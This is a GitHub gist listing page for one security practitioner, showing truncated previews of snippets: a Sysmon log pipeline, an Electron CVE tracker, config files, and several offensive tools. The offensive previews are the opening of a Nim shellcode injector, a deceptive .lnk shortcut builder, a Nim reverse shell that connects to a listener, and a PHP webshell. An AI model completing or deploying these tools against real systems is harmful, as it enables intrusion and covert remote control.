Skip to content

Instantly share code, notes, and snippets.

@mttaggart
mttaggart / getpass.nim
Created January 20, 2022 02:47
Nim GetPass
# With thanks to reilly!
proc getPass(prompt = "Secret: "): string =
stdout.write(prompt)
while result == "" or result[^1] notin ['\x0D', '\n']:
result.add getch()
stdout.write("*")
stdout.write("\n")
return result.strip()
@mttaggart
mttaggart / sysmon-linux-pipeline.json
Last active December 30, 2023 11:18
Sysmon for Linux Pipeline for Elastic Agent
{ "processors": [
{
"dissect": {
"field": "message",
"pattern": "<Event><System><Provider Name=\"Linux-Sysmon\" Guid=\"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}\"/><EventID>%{event.id}</EventID>",
"description": "Extract Sysmon System Data"
}
},
{
"dissect": {
@mttaggart
mttaggart / dotnet.yml
Created April 27, 2022 18:50
.NET Actions Build
# This is a template GitHub Action YAML file for building .NET projects.
# Handy for forking .NET assembly projects and building easily without VS.
# Make sure to replace "MyAssembly" with the name of the project!
name: .NET
on:
push:
branches: [ main ]
pull_request:
branches: [ main ]
@mttaggart
mttaggart / electron-versions.csv
Last active November 18, 2023 03:15
CVE-2023-4863 Electron App Tracker | THIS LIST IS NOW DEPRECATED. PLEASE VISIT https://github.com/mttaggart/electron-app-tracker FOR THE LATEST DATA
app_name repo electron_version vulnerable
1Clipboard https://github.com/wiziple/1clipboard
1Password None 25.8.1 FALSE
3CX Desktop App 19.0.8 TRUE
5EClient None
Abstract None
Account Surfer None
Advanced REST Client https://github.com/advanced-rest-client/arc-electron ^17.0.0 TRUE
Aedron Shrine None
Aeon https://github.com/leinelissen/aeon 23.2.0 TRUE
@mttaggart
mttaggart / starship.toml
Last active October 29, 2023 13:01
starship.toml
format = """
[  ](bg:#611bf9)\
[](fg:#611bf9 bg:#bf0af9)\
$directory\
[](fg:#bf0af9 bg:#7346f9)\
$git_branch\
$git_status\
[](fg:#7346f9 bg:#ca38f9)\
$nodejs\
$rust\
@mttaggart
mttaggart / nimjector.nim
Created December 21, 2021 04:07
NimShellCodeInjector
# With special thanks to byt3bl33d3r for Offensive Nim!
import winim/lean
import osproc
import base64
import sequtils
import strutils
import strformat
import httpclient
@mttaggart
mttaggart / make-lnk.ps1
Last active September 23, 2023 20:15
make-lnk.ps1
param ( [string]$SourceExe, [string]$DestinationPath, [string]$IconPath)
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut($DestinationPath)
$Shortcut.RelativePath = "..\..\..\..\..\..\..\..\..\$SourceExe"
$Shortcut.IconLocation = $IconPath
$Shortcut.TargetPath = $SourceExe
$Shortcut.Save()
@mttaggart
mttaggart / nimrs.nim
Last active July 6, 2023 00:30
A simple reverse shell written in Nim
import net
import osproc
import strformat
# Create Socket
let port = 9999
let address = "127.0.0.1"
let sock = newSocket()
# Connect to listener
@mttaggart
mttaggart / .vimrc
Last active January 30, 2023 14:21
Vimrc
set nu
set wrap linebreak nolist
set clipboard=unnamedplus
set tabstop=4 softtabstop=0 expandtab shiftwidth=4 smarttab
set encoding=utf-8
" Specify a directory for plugins
" - For Neovim: ~/.local/share/nvim/plugged
" - Avoid using standard Vim directory names like 'plugin'
call plug#begin('~/.vim/plugged')
@mttaggart
mttaggart / webshell.php
Created January 10, 2023 17:36
new webshell
<?php
$password = "1aa1521ec35ba5cd93021cb142f4bf11";
define('VERSION','Project');
$register_key = array
(
array